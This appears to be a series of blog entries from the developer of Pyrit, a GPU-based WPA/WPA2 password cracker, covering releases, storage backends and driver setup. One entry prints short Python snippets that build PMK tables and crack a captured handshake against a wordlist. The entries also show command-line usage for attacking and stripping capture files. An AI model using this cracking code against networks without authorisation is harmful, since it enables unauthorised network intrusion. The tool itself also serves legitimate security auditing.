… and this time it stays.
Another major feature of upcoming version 0.2.5 made it’s way to svn for testing: Pyrit’s storage code was abstracted and refactored which makes it possible to use relational databases like postgresql or mysql as storage devices for Pyrit. The actual database code is fully transparent and there is no visible [...]
Network is coming back…
New features in 0.2.5
I’ve just updated the Wiki with new entries about two of the visible changes in upcoming version 0.2.5 which are already in svn.
The new command attack_cowpatty takes PMKs from a file in cowpatty-format to attack a handshake found in a capture-file. The cowpatty-database may have been generated by genpmk or (more likely :-)) by export_cowpatty; [...]
ATI Catalyst 9.9 vs. kernel 2.6.30
I finally got ATI’s drivers working on my 64bit-fedora11. All you currently got to do in order to have a working ATI-environment:
* Follow these steps to get the driver working.
* Don’t forget to rebuild your initrd if you are on Fedora11. Otherwise your screen freezes when X starts.
* Add ‘Option “SWCursor” “true”‘ to your xorg.conf. [...]
Nvidia releases final OpenCL drivers
Nvidia has released a final, public version of it’s OpenCL implementation. See here.
Happy birthday…
Happy birthday, Pyrit!
Exactly one year ago the first bits and parts were committed to svn.
The world’s smallest WPA-tools
Cowpatty’s genpmk – with extensive hardware support added – in 2 lines of code:
from cpyrit import util
map(util.CowpattyWriter(essid=’linksys’, f=’linksys.cow’).write, util.PassthroughIterator(essid=’linksys’, iterable=open(‘dict’)))
A GPGPU-driven WPA/WPA2-cracker in 7 lines of code:
from cpyrit import util, pckttools
with pckttools.EAPOLCracker(pckttools.PacketParser(‘wpa2psk-linksys.dump’)['00:0b:86:c2:a4:85']['00:13:ce:55:98:ef'].auths[0]) as cracker:
>>>>for pmks in util.PassthroughIterator(‘linksys’, open(‘dict’)):
>>>>>>>>cracker.enqueue(pmks)
>>>>>>>>if cracker.solution is not None:
>>>>>>>>>>>>break
print “The password is ‘%s’” % cracker.solution
Isn’t Python great?
Pyrit 0.2.4 released
Pyrit 0.2.4 was just tagged and is now the currently stable version. Enjoy.
The most important new feature is the ability parse packet-capture files and attack EAPOL-authentications on it’s own. See the recent posts or the documentation for more details. Pyrit can also use SSE2 on MacOS and SELinux-enabled machines now.
You can get the new version [...]
Combining dumps in 0.2.4 r166
Pyrit 0.2.4-dev (r166) can now deal with multiple packet-capture files. Added with the on-the-fly handling of gzip-compressed files, this makes it particular easy to combine many pcap-dumps to one small file that holds all the essential information.
pyrit -r “*.pcap” -f summary.pcap.gz strip
Pyrit 0.2.4-dev (svn r166) (C) 2008, 2009 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under [...]
More docs
I’ve updated Pyrit’s documentation with some lines about the new features in 0.2.4 (including the new strip-command).
There is also some (basic) information in case you would like to port Pyrit to a new hardware-platform. Pyrit on FPGA anyone?
